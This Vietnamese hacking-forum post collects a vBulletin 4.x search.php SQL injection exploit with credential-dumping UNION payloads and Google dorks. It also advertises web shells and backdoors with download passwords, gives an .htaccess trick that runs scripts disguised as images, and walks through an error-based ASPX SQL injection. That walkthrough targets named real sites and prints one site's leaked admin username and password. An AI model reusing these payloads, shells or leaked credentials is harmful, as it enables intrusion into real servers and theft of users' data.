bug search vbb 4.0.x => 4.1.2





lỗi này vẫn còn 1 số diễn đàn 


==================================================
==================
#vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability#
================================================== ==================
# #
# 888 d8 888 _ 888 ,d d8 #
# e88~\888 d88 888-~\ 888 e~ ~ 888-~88e ,d888 _d88__ #
# d888 888 d888 888 888d8b 888 888b 888 888 #
# 8888 888 / 888 888 888Y88b 888 8888 888 888 #
# Y888 888 /__888__ 888 888 Y88b 888 888P 888 888 #
# "88_/888 888 888 888 Y88b 888-_88" 888 "88_/ #
# #
================================================== ==================
#PhilKer - PinoyHack - RootCON - GreyHat Hackers - Security Analyst#
================================================== ==================

#[+] Discovered By : D4rkB1t
#[+] Site : NaN
#[+] support e-mail : d4rkb1t@live.com


Product: http://www.vbulletin.com
Version: 4.0.x
Dork : inurl:"search.php?search_type=1"

--------------------------
# ~Vulnerable Codes~ #
--------------------------
/vb/search/searchtools.php - line 715;
/packages/vbforum/search/type/socialgroup.php - line 201:203;

--------------------------
# ~Exploit~ #
--------------------------
POST data on "Search Multiple Content Types" => "groups"

&cat[0]=1) UNION SELECT database()#
&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#
&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#

More info: http://j0hnx3r.org/?p=818

--------------------------
# ~Advice~ #
--------------------------
Vendor already released a patch on vb#4.1.3.
UPDATE NOW!

================================================== 
==================
# 1337day.com [2011-5-21]
==================================================
==================



TUT hướng dẫn : http://www.youtube.com/watch?feature=player_embedded&v=ncWxHDhRKS0#!

[Bài 2] Giới Thiệu Tính Năng 1 Sô Shell


Nói đến local là nói đến shell, không có shell thì chỉ local bằng niềm tin. Hôm nay soleil giới thiệu một số loại shell thông dụng không thể thiếu trong local attack

Một số shell thông dụng:

 r57.php

R57 hiện nay đang là shell thông dụng, được sử dụng phổ biến nhất với hầu như là đầy đủ các tính năng.

c99.php


Nói đến r57 cũng không thể  không nhắc đến c99 với các thao tác có sẵn trên shell mà không cần phải sử dụng lệnh: edit, del, insert, drop… đặc biệt là có khả năng dump cơ sở dữ liệu


byg.php

Byg hiện đang là shell mà được soleil sử dụng nhiều nhất với các chức năng có sẵn và thao tác dễ sử dụng










pass login: byg
          

            vhb.php

        Con shell này đã được soleil Edit và Deveple bằng chính con shell Byg.php trên với 1 số tính năng mạnh hơn và giao diện đẹp, bắt mắt hơn. Đây là con shell chính mà soleil thường sử dụng nhất.

  
http://www.mediafire.com/?hr9acl1yd1eabcw 

    Pass login: vhb
      soleil.pin

Nếu Server Safe_mod: ON,  cả shell r57 và c99 đều không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được.  Giải pháp được nghĩ đến là sử dụng shell cgi mà chức năng chính của nó là thực thi các câu lệnh.


 Pass login: ducdung.08clc

Cách sử dụng:
-          Up shell soleil.pin và chmod nó về 755
-          Up hoặc tạo file .htaccess có nội dung:

## START ##
Options +ExecCGI
AddHandler cgi-script cgi pl cgi gmc pin jpg
RewriteEngine on
RewriteRule (.*)\.mil$ $1.cgi
Options +FollowSymLinks
DirectoryIndex cmd.html
Options +Indexes
RemoveHandler .hack
AddType text/plain .hack
## milw0rmvn exploit ##

Hoặc:
Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .pin
AddHandler cgi-script .pin

-          telnet.php

Để sử dụng shell cgi được thuận tiên hơn, soleil giới thiệu shell telnet.pl. Chức năng hoàn toàn tương tự với con shell soleil.pin
Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là run ngon.


Face symlink:






Get user:





Get user và domain



Shell này cần chmod về 755 trước khi sử dụng




Get all config



SSI

Backdoor.php

Netcut

zipcode.php

r57bypass.php (vip)

Check Shell : Kiểm tra shell có trên site

Priv8_2012.php

saoluu.php


Shell xml: Up shell đối với vbulletin

 root.tar.gz: Dùng để sym root hay indirect sym

Và rất nhiều shell khác  với 1 số tính năng đặc biệt khác nữa.
pass download:soleil_vhb

SQLI - Khai Thác Đối Với ASPX


Bước 1: Check link lỗi


Đối với site aspx, ta thêm dấu  ‘ cuối đường link có các ký tự dạng ID=, Sp=…. Nếu thấy site xuất hiện lỗi: 

Unclosed quotation mark after the character string ''

Chứng tỏ site dính lỗi SQLI.
Ví dụ:     http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42’ 
















Bước 2: Truy vấn tên các table







Xuất hiện thông tin tên table thứ nhất: “tbl_DangNhap”. 


Conversion failed when converting the nvarchar value 'tbl_DangNhap' to data type int.

Tiếp tục truy vấn:



 Conversion failed when converting the nvarchar value 'tbl_DiaChi' to data type int.










Tiếp tục,



Conversion failed when converting the nvarchar value 'tbl_DoiTac' to data type int.
 
 Làm tương tự cho tới khi xuất hiện table user chứa thông tin username và password. Ở site này table chứa thông admin đăng nhập của admin là table đầu tiên:  Tbl_DangNhap
   

Bước 3 : Truy vấn tên các columns 


  Như thông tin khai thác được ở trên. Table chứa thông tin username và password chính là table: tbl_DangNhap. Chính vì vậy ta sẽ khai thác table này.



  
  Conversion failed when converting the nvarchar value 'ID' to data type int.





http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID')))-- - 



 
 Conversion failed when converting the nvarchar value 'TenDN' to data type int.


http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID','TenDN')))-- -


 Conversion failed when converting the nvarchar value 'Matkhau' to data type int.

   
Bước 4: Khai Thác thông tin username và password


 -    Thông tin username:


  
Conversion failed when converting the nvarchar value 'loimv' to data type int.  

-    Thông tin password 


  

Conversion failed when converting the nvarchar value 'maihoanglinh@' to data type int 
-   Hoặc get cả username và password




   Conversion failed when converting the nvarchar value 'loimv/maihoanglinh@' to data type int






 

Bước 5: Tìm link admin và đăng nhâp 

 Sử dụng tool havij hoặc web admin finder, đã được giới thiệu ở bài 2:


Ta được link admin: 


admin:         loimv


password:   maihoanglinh@




Kết Luận Các Query SQLI Trong Aspx Cần Lưu Ý


           1-      Get the version:
  
              and 1=convert(int,@@version)-- -

            2-  Get  Server Name

     and 1=convert(int,@@servername)-- -
 
3-  Get data base name:
 
     and 1=convert(int,db_name())-- -
 
4-  Get system user
 
     and 1=convert(int,system_user) -- -
 
5-  Get table thứ nhất
 
     and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -
 
6-  Get table thứ 2:
 
   and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))-- -
 
7-  Get table thứ 3 :
 
     and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))-- -


8-   Get đến table user để lấy thông tin đăng nhập của admin
 
 
10 - Get column thứ nhất từ table chứa admin :
 
       and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))-- -
   
11-  Get column thứ nhất từ table chứa admin :
 
       and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")
                                               and column_name not in ("FIRST-COLUMNS-HERE")))-- -
 
   12-  Get cho hết các columns cần lấy thông tin
 
        
   13-  Xuất ra thông tin username và password
 
        and 1=convert(int,(select top 1 column-name-1%2b’/’%2bcolumn-name-2 from TABLE-NAME-HERE))-- -

[Google Dork] SQl - Public 16/6

Google Dork : inurl:Default.aspx?PageID= 

Dang khai thác đối với aspx ở dork này tương tự như trong tut sau:
Sau đây là 1 số site dính lỗi này:
www.sagiang.com.vn/Default.aspx?pageid=57'